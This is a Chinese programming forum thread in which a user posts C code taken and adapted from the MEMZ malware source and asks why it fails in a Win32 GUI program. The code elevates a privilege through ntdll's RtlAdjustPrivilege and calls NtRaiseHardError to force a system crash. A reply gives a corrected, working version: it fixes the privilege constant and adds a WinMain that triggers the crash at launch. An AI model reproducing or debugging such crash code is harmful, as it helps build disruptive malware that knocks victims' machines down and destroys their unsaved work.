鱼C论坛

 找回密码
 立即注册
查看: 869|回复: 1

关于raiseharderror在Win32程序中调用无效的问题

[复制链接]
发表于 2022-8-4 19:00:14 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
这是我从彩虹猫源码中拷贝的死机代码(有改动)
  1. #include<Windows.h>
  2. #define fun_RtlAdjustPrivilege ((NTSTATUS(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)//宏定义,方便调用
  3. #define fun_NtRaiseHardError ((NTSTATUS(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)

  4. void killWindows()
  5. {
  6.     HMODULE ntdll = LoadLibraryA("ntdll");//加载ntdll.dll
  7.     FARPROC RtlAdjustPrivilege = GetProcAddress(ntdll, "RtlAdjustPrivilege");//从ntdll.dll中提取出这两个函数的入口地址
  8.     FARPROC NtRaiseHardError = GetProcAddress(ntdll, "NtRaiseHardError");

  9.     if (RtlAdjustPrivilege != NULL && NtRaiseHardError != NULL)//如果两个都提取成功了,则执行
  10.     {
  11.         BOOLEAN tmp1; DWORD tmp2;
  12.         fun_RtlAdjustPrivilege(0x19, true, 0, &tmp1);//提升权限
  13.         fun_NtRaiseHardError(0xc0000022, 0, 0, 0, 6, &tmp2);//使电脑死机
  14.     }
  15.     else
  16.     {
  17.         MessageBox(NULL, L"执行失败!", L"提示", NULL);
  18.     }
  19. }
复制代码

这段代码,在控制台程序中可以成功执行,不用给管理员权限。而在win32程序中无效,也不是提取入口地址失败。大佬们可以解答一下吗?

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2022-8-4 20:48:52 | 显示全部楼层
  1. #include <Windows.h>
  2. #include <stdbool.h>

  3. #define fun_RtlAdjustPrivilege ((NTSTATUS(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)//宏定义,方便调用
  4. #define fun_NtRaiseHardError ((NTSTATUS(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)

  5. void killWindows()
  6. {
  7.     HMODULE ntdll = LoadLibraryA("ntdll");//加载ntdll.dll
  8.     FARPROC RtlAdjustPrivilege = GetProcAddress(ntdll, "RtlAdjustPrivilege");//从ntdll.dll中提取出这两个函数的入口地址
  9.     FARPROC NtRaiseHardError = GetProcAddress(ntdll, "NtRaiseHardError");

  10.     if (RtlAdjustPrivilege != NULL && NtRaiseHardError != NULL)//如果两个都提取成功了,则执行
  11.     {
  12.         BOOLEAN tmp1; DWORD tmp2;
  13.         // 提升权限
  14.         // 0x13 = SeShutdownPrivilege
  15.         fun_RtlAdjustPrivilege(0x13, true, 0, &tmp1);
  16.         // 使电脑死机
  17.         // 0x06 = OptionShutdownSystem
  18.         fun_NtRaiseHardError(0xc0000022, 0, 0, 0, 6, &tmp2);
  19.     }
  20.     else
  21.     {
  22.         //MessageBox(NULL, L"执行失败!", L"提示", NULL);
  23.         MessageBox(NULL, "执行失败!", "提示", MB_OK);
  24.     }
  25. }

  26. /*
  27. int main(void) {
  28.     killWindows();
  29.     return 0;
  30. }
  31. */

  32. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
  33. {
  34.     killWindows();
  35.     return 0;
  36. }
复制代码
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-4-25 02:37

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表